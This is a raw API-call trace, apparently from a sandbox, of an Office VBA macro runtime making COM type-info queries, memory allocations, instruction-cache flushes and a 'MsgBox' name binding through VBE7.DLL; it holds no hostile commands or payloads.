	[0053.827] IMalloc:Realloc (This=0x7feffc15380, pv=0x24ff730, cb=0x90) returned 0x24ff730
	[0053.827] IMalloc:Free (This=0x7feffc15380, pv=0xbeee170) 
	[0053.827] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.827] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb8222d9, dwSize=0x8) returned 1
	[0053.827] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.827] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb8222d8, dwSize=0x8) returned 1
	[0053.828] IUnknown:QueryInterface (in: This=0xbb2ba28, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c8 | out: ppvObject=0x27d2c8*=0x0) returned 0x80004002
	[0053.828] IUnknown:QueryInterface (in: This=0xbb2ba28, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c0 | out: ppvObject=0x27d2c0*=0x0) returned 0x80004002
	[0053.828] IUnknown:Release (This=0xbb2ba28) returned 0x2
	[0053.828] IUnknown:AddRef (This=0xbb2ba80) returned 0x6
	[0053.828] IUnknown:QueryInterface (in: This=0xbb2ba80, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c8 | out: ppvObject=0x27d2c8*=0x0) returned 0x80004002
	[0053.828] IUnknown:QueryInterface (in: This=0xbb2ba80, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c0 | out: ppvObject=0x27d2c0*=0x0) returned 0x80004002
	[0053.828] IUnknown:Release (This=0xbb2ba80) returned 0x5
	[0053.828] IUnknown:AddRef (This=0xbb2b978) returned 0x2
	[0053.828] IUnknown:QueryInterface (in: This=0xbb2b978, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c8 | out: ppvObject=0x27d2c8*=0x0) returned 0x80004002
	[0053.828] IUnknown:QueryInterface (in: This=0xbb2b978, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c0 | out: ppvObject=0x27d2c0*=0x0) returned 0x80004002
	[0053.828] IUnknown:Release (This=0xbb2b978) returned 0x1
	[0053.828] IUnknown:AddRef (This=0xbb43508) returned 0x3
	[0053.828] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c8 | out: ppvObject=0x27d2c8*=0x0) returned 0x80004002
	[0053.828] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c0 | out: ppvObject=0x27d2c0*=0x0) returned 0x80004002
	[0053.828] IUnknown:Release (This=0xbb43508) returned 0x2
	[0053.828] VarAdd (in: pvarLeft=0xbb1f5f8, pvarRight=0xbb1f5e0, pvarResult=0xbb1f5c8 | out: pvarResult=0xbb1f5c8) returned 0x0
	[0053.828] IMalloc:Realloc (This=0x7feffc15380, pv=0x25b6b20, cb=0x90) returned 0x25b6b20
	[0053.828] IMalloc:Free (This=0x7feffc15380, pv=0xbeee110) 
	[0053.828] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.829] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb822441, dwSize=0x8) returned 1
	[0053.829] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.829] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb822440, dwSize=0x8) returned 1
	[0053.829] IUnknown:QueryInterface (in: This=0xbb2ba28, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c8 | out: ppvObject=0x27d2c8*=0x0) returned 0x80004002
	[0053.829] IUnknown:QueryInterface (in: This=0xbb2ba28, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c0 | out: ppvObject=0x27d2c0*=0x0) returned 0x80004002
	[0053.829] IUnknown:Release (This=0xbb2ba28) returned 0x2
	[0053.829] IUnknown:AddRef (This=0xbb2ba80) returned 0x6
	[0053.829] IUnknown:QueryInterface (in: This=0xbb2ba80, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c8 | out: ppvObject=0x27d2c8*=0x0) returned 0x80004002
	[0053.829] IUnknown:QueryInterface (in: This=0xbb2ba80, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c0 | out: ppvObject=0x27d2c0*=0x0) returned 0x80004002
	[0053.829] IUnknown:Release (This=0xbb2ba80) returned 0x5
	[0053.829] IUnknown:AddRef (This=0xbb2b978) returned 0x2
	[0053.829] IUnknown:QueryInterface (in: This=0xbb2b978, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c8 | out: ppvObject=0x27d2c8*=0x0) returned 0x80004002
	[0053.829] IUnknown:QueryInterface (in: This=0xbb2b978, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c0 | out: ppvObject=0x27d2c0*=0x0) returned 0x80004002
	[0053.829] IUnknown:Release (This=0xbb2b978) returned 0x1
	[0053.829] IUnknown:AddRef (This=0xbb43508) returned 0x3
	[0053.829] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c8 | out: ppvObject=0x27d2c8*=0x0) returned 0x80004002
	[0053.829] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d2c0 | out: ppvObject=0x27d2c0*=0x0) returned 0x80004002
	[0053.829] IUnknown:Release (This=0xbb43508) returned 0x2
	[0053.829] VarAdd (in: pvarLeft=0xbb1f5c8, pvarRight=0xbb1f5b0, pvarResult=0xbb1f598 | out: pvarResult=0xbb1f598) returned 0x0
	[0053.830] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x30) returned 0xbd2fac0
	[0053.830] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x69b0000
	[0053.832] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x200) returned 0xbd61450
	[0053.832] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6850396, cbMultiByte=7, lpWideCharStr=0x27bff0, cchWideChar=8 | out: lpWideCharStr="MsgBox") returned 7
	[0053.832] ITypeComp:RemoteBind (in: This=0xb9fd080, szName="MsgBox", lHashVal=0x105297, wFlags=0x1, ppTInfo=0x27bfa8, pDescKind=0x27bfbc, ppFuncDesc=0x27bfc0, ppVarDesc=0xbb1f7f0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x27bfa8*=0xbb43508, pDescKind=0x27bfbc*=1, ppFuncDesc=0x27bfc0, ppVarDesc=0xbb1f7f0, ppTypeComp=0x0, pDummy=0x0) returned 0x0
	[0053.832] ITypeInfo:RemoteGetTypeAttr (in: This=0xbb43508, ppTypeAttr=0x27bfb0, pDummy=0x1 | out: ppTypeAttr=0x27bfb0, pDummy=0x1) returned 0x0
	[0053.832] ITypeInfo:LocalReleaseTypeAttr (This=0xbb43508) returned 0x0
	[0053.832] ITypeInfo:GetRefTypeInfo (in: This=0xbb43508, hreftype=0x100, ppTInfo=0x27bce8 | out: ppTInfo=0x27bce8*=0xbb435b8) returned 0x0
	[0053.833] IUnknown:QueryInterface (in: This=0xbb435b8, riid=0x7fee6110b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27beb8 | out: ppvObject=0x27beb8*=0x0) returned 0x80004002
	[0053.833] ITypeInfo:RemoteGetTypeAttr (in: This=0xbb435b8, ppTypeAttr=0x27bd38, pDummy=0x10 | out: ppTypeAttr=0x27bd38, pDummy=0x10) returned 0x0
	[0053.833] ITypeInfo:LocalReleaseTypeAttr (This=0xbb435b8) returned 0x0
	[0053.833] IUnknown:QueryInterface (in: This=0xbb435b8, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27ba40 | out: ppvObject=0x27ba40*=0x0) returned 0x80004002
	[0053.833] IUnknown:QueryInterface (in: This=0xbb435b8, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27ba30 | out: ppvObject=0x27ba30*=0x0) returned 0x80004002
	[0053.833] IUnknown:QueryInterface (in: This=0xbb435b8, riid=0x7fee6110b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27ba38 | out: ppvObject=0x27ba38*=0x0) returned 0x80004002
	[0053.833] ITypeInfo:RemoteGetTypeAttr (in: This=0xbb435b8, ppTypeAttr=0x27ba68, pDummy=0x10 | out: ppTypeAttr=0x27ba68, pDummy=0x10) returned 0x0
	[0053.833] ITypeInfo:LocalReleaseTypeAttr (This=0xbb435b8) returned 0x0
	[0053.833] IUnknown:AddRef (This=0xbb435b8) returned 0x2
	[0053.833] IUnknown:QueryInterface (in: This=0xbb435b8, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27bbe0 | out: ppvObject=0x27bbe0*=0x0) returned 0x80004002
	[0053.833] IUnknown:QueryInterface (in: This=0xbb435b8, riid=0x7fee6110b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27bbd8 | out: ppvObject=0x27bbd8*=0x0) returned 0x80004002
	[0053.833] IUnknown:Release (This=0xbb435b8) returned 0x1
	[0053.833] ITypeInfo:GetRefTypeInfo (in: This=0xbb43508, hreftype=0x80, ppTInfo=0x27bce8 | out: ppTInfo=0x27bce8*=0xbb43610) returned 0x0
	[0053.833] IUnknown:QueryInterface (in: This=0xbb43610, riid=0x7fee6110b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27beb8 | out: ppvObject=0x27beb8*=0x0) returned 0x80004002
	[0053.833] ITypeInfo:RemoteGetTypeAttr (in: This=0xbb43610, ppTypeAttr=0x27bd38, pDummy=0x10 | out: ppTypeAttr=0x27bd38, pDummy=0x10) returned 0x0
	[0053.833] ITypeInfo:LocalReleaseTypeAttr (This=0xbb43610) returned 0x0
	[0053.833] IUnknown:QueryInterface (in: This=0xbb43610, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27ba40 | out: ppvObject=0x27ba40*=0x0) returned 0x80004002
	[0053.833] IUnknown:QueryInterface (in: This=0xbb43610, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27ba30 | out: ppvObject=0x27ba30*=0x0) returned 0x80004002
	[0053.833] IUnknown:QueryInterface (in: This=0xbb43610, riid=0x7fee6110b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27ba38 | out: ppvObject=0x27ba38*=0x0) returned 0x80004002
	[0053.833] ITypeInfo:RemoteGetTypeAttr (in: This=0xbb43610, ppTypeAttr=0x27ba68, pDummy=0x10 | out: ppTypeAttr=0x27ba68, pDummy=0x10) returned 0x0
	[0053.833] ITypeInfo:LocalReleaseTypeAttr (This=0xbb43610) returned 0x0
	[0053.833] IUnknown:AddRef (This=0xbb43610) returned 0x2
	[0053.833] IUnknown:QueryInterface (in: This=0xbb43610, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27bbe0 | out: ppvObject=0x27bbe0*=0x0) returned 0x80004002
	[0053.833] IUnknown:QueryInterface (in: This=0xbb43610, riid=0x7fee6110b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27bbd8 | out: ppvObject=0x27bbd8*=0x0) returned 0x80004002
	[0053.833] IUnknown:Release (This=0xbb43610) returned 0x1
	[0053.833] IMalloc:Realloc (This=0x7feffc15380, pv=0xbc3ad60, cb=0x200) returned 0xbd61ea0
	[0053.833] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee61040f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x27bd50 | out: ppvObject=0x27bd50*=0xbb43508) returned 0x0
	[0053.833] ITypeInfo2:GetFuncIndexOfMemId (in: This=0xbb43508, memid=1610612743, invkind=1, pFuncIndex=0x27bd48 | out: pFuncIndex=0x27bd48*=0x7) returned 0x0
	[0053.833] ITypeInfo2:GetParamCustData (in: This=0xbb43508, indexFunc=0x7, indexParam=0x1, GUID=0x7fee6114e80*(Data1=0x270d72b0, Data2=0xffb8, Data3=0x11cf, Data4=([0]=0xa4, [1]=0xbd, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x26, [7]=0xee)), pVarVal=0x27bd58 | out: pVarVal=0x27bd58*(varType=0x0, wReserved1=0xbd6, wReserved2=0x0, wReserved3=0x0, varVal1=0xb8d6c50, varVal2=0x27ca68)) returned 0x0
	[0053.833] IUnknown:Release (This=0xbb43508) returned 0x3
	[0053.834] IMalloc:Realloc (This=0x7feffc15380, pv=0xbd61ea0, cb=0x400) returned 0xc217230
	[0053.834] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee61040f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x27be10 | out: ppvObject=0x27be10*=0xbb43508) returned 0x0
	[0053.834] ITypeInfo2:GetFuncIndexOfMemId (in: This=0xbb43508, memid=1610612743, invkind=1, pFuncIndex=0x27be50 | out: pFuncIndex=0x27be50*=0x7) returned 0x0
	[0053.834] ITypeInfo2:GetFuncCustData (in: This=0xbb43508, index=0x7, GUID=0x7fee6113758*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x27be68 | out: pVarVal=0x27be68*(varType=0x0, wReserved1=0x27, wReserved2=0x0, wReserved3=0x0, varVal1=0x7, varVal2=0x105297)) returned 0x0
	[0053.834] IUnknown:Release (This=0xbb43508) returned 0x3
	[0053.834] IUnknown:AddRef (This=0xbb435b8) returned 0x2
	[0053.834] IUnknown:QueryInterface (in: This=0xbb435b8, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27bd08 | out: ppvObject=0x27bd08*=0x0) returned 0x80004002
	[0053.834] IUnknown:QueryInterface (in: This=0xbb435b8, riid=0x7fee6110b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27bdc8 | out: ppvObject=0x27bdc8*=0x0) returned 0x80004002
	[0053.834] IUnknown:QueryInterface (in: This=0xbb435b8, riid=0x7fee6112aa8*(Data1=0xcacc1e89, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27bca0 | out: ppvObject=0x27bca0*=0x0) returned 0x80004002
	[0053.834] IUnknown:Release (This=0xbb435b8) returned 0x1
	[0053.834] IUnknown:AddRef (This=0xbb43610) returned 0x2
	[0053.834] IUnknown:QueryInterface (in: This=0xbb43610, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27bd08 | out: ppvObject=0x27bd08*=0x0) returned 0x80004002
	[0053.834] IUnknown:QueryInterface (in: This=0xbb43610, riid=0x7fee6110b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27bdc8 | out: ppvObject=0x27bdc8*=0x0) returned 0x80004002
	[0053.834] IUnknown:QueryInterface (in: This=0xbb43610, riid=0x7fee6112aa8*(Data1=0xcacc1e89, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27bca0 | out: ppvObject=0x27bca0*=0x0) returned 0x80004002
	[0053.834] IUnknown:Release (This=0xbb43610) returned 0x1
	[0053.834] IUnknown:AddRef (This=0xbb43508) returned 0x4
	[0053.834] ITypeInfo:LocalReleaseFuncDesc (This=0xbb43508) returned 0x0
	[0053.834] IUnknown:Release (This=0xbb43508) returned 0x3
	[0053.834] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c0d8 | out: ppvObject=0x27c0d8*=0x0) returned 0x80004002
	[0053.834] IUnknown:AddRef (This=0xbb43508) returned 0x4
	[0053.834] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c060 | out: ppvObject=0x27c060*=0x0) returned 0x80004002
	[0053.834] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c030 | out: ppvObject=0x27c030*=0x0) returned 0x80004002
	[0053.834] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c020 | out: ppvObject=0x27c020*=0x0) returned 0x80004002
	[0053.834] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee6110b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c028 | out: ppvObject=0x27c028*=0x0) returned 0x80004002
	[0053.834] ITypeInfo:RemoteGetTypeAttr (in: This=0xbb43508, ppTypeAttr=0x27c058, pDummy=0x10 | out: ppTypeAttr=0x27c058, pDummy=0x10) returned 0x0
	[0053.834] ITypeInfo:LocalReleaseTypeAttr (This=0xbb43508) returned 0x0
	[0053.834] IUnknown:AddRef (This=0xbb43508) returned 0x5
	[0053.834] IUnknown:Release (This=0xbb43508) returned 0x4
	[0053.834] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee6105af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c248 | out: ppvObject=0x27c248*=0x0) returned 0x80004002
	[0053.834] IUnknown:QueryInterface (in: This=0xbb43508, riid=0x7fee6110b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c240 | out: ppvObject=0x27c240*=0x0) returned 0x80004002
	[0053.834] ITypeInfo:RemoteGetContainingTypeLib (in: This=0xbb43508, ppTLib=0x27ba80, pIndex=0x0 | out: ppTLib=0x27ba80*=0xb9fd070, pIndex=0x0) returned 0x0
	[0053.835] ITypeLib:RemoteGetLibAttr (in: This=0xb9fd070, ppTLibAttr=0x27ba90, pDummy=0x0 | out: ppTLibAttr=0x27ba90, pDummy=0x0) returned 0x0
	[0053.835] ITypeLib:LocalReleaseTLibAttr (This=0xb9fd070) returned 0x0
	[0053.835] IUnknown:Release (This=0xb9fd070) returned 0xb
	[0053.835] ITypeInfo:RemoteGetDllEntry (in: This=0xbb43508, memid=1610612743, invkind=1, refPtrFlags=0x27ba80, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x50894b0 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x50894b0*=0x5380) returned 0x0
	[0053.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee613d830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9
	[0053.835] ITypeInfo:RemoteGetDllEntry (in: This=0xbb43508, memid=1610612743, invkind=1, refPtrFlags=0x0, pBstrDllName=0x27ba80, pbstrName=0x0, pwOrdinal=0x27baa0 | out: pBstrDllName=0x27ba80*=0x0, pbstrName=0x0, pwOrdinal=0x27baa0*=0xbd10) returned 0x0
	[0053.835] ITypeInfo:RemoteGetDllEntry (in: This=0xbb43508, memid=1610612743, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x27ba80, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x27ba80, pwOrdinal=0x500000000) returned 0x0
	[0053.835] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x74ed850
	[0053.835] IMalloc:GetSize (This=0x7feffc15380, pv=0x74ed850) returned 0x26d
	[0053.835] IMalloc:GetSize (This=0x7feffc15380, pv=0x74ed850) returned 0x26d
	[0053.835] IMalloc:GetSize (This=0x7feffc15380, pv=0x74ed850) returned 0x26d
	[0053.835] IMalloc:GetSize (This=0x7feffc15380, pv=0x74ed850) returned 0x26d
	[0053.835] IMalloc:GetSize (This=0x7feffc15380, pv=0x74ed850) returned 0x26d
	[0053.835] GetCurrentProcess () returned 0xffffffffffffffff
	[0053.835] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x74ed850, dwSize=0x63) returned 1
	[0053.835] IMalloc:Free (This=0x7feffc15380, pv=0x74ed850) 
	[0053.835] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x76f7670
	[0053.835] ITypeInfo:RemoteGetContainingTypeLib (in: This=0xbb43508, ppTLib=0x27bfc0, pIndex=0x0 | out: ppTLib=0x27bfc0*=0xb9fd070, pIndex=0x0) returned 0x0
	[0053.835] ITypeLib:RemoteGetLibAttr (in: This=0xb9fd070, ppTLibAttr=0x27bfd0, pDummy=0x0 | out: ppTLibAttr=0x27bfd0, pDummy=0x0) returned 0x0
	[0053.835] ITypeLib:LocalReleaseTLibAttr (This=0xb9fd070) returned 0x0
	[0053.835] IUnknown:Release (This=0xb9fd070) returned 0xb
	[0053.835] ITypeInfo:RemoteGetDllEntry (in: This=0xbb43508, memid=1610612743, invkind=1, refPtrFlags=0x27bfc0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x50894b0 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x50894b0*=0x5380) returned 0x0
	[0053.835] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee613d830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9
	[0053.835] ITypeInfo:RemoteGetDllEntry (in: This=0xbb43508, memid=1610612743, invkind=1, refPtrFlags=0x0, pBstrDllName=0x27bfc0, pbstrName=0x0, pwOrdinal=0x27bfe0 | out: pBstrDllName=0x27bfc0*=0x0, pbstrName=0x0, pwOrdinal=0x27bfe0*=0xc250) returned 0x0
	[0053.836] ITypeInfo:RemoteGetDllEntry (in: This=0xbb43508, memid=1610612743, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x27bfc0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x27bfc0, pwOrdinal=0x500000000) returned 0x0
	[0053.836] IMalloc:Realloc (This=0x7feffc15380, pv=0x25b6bc0, cb=0x27a) returned 0x25b6bc0
	[0053.836] IMalloc:Free (This=0x7feffc15380, pv=0xbeede10) 
	[0053.836] GetCurrentProcess () returned 0xffffffffffffffff
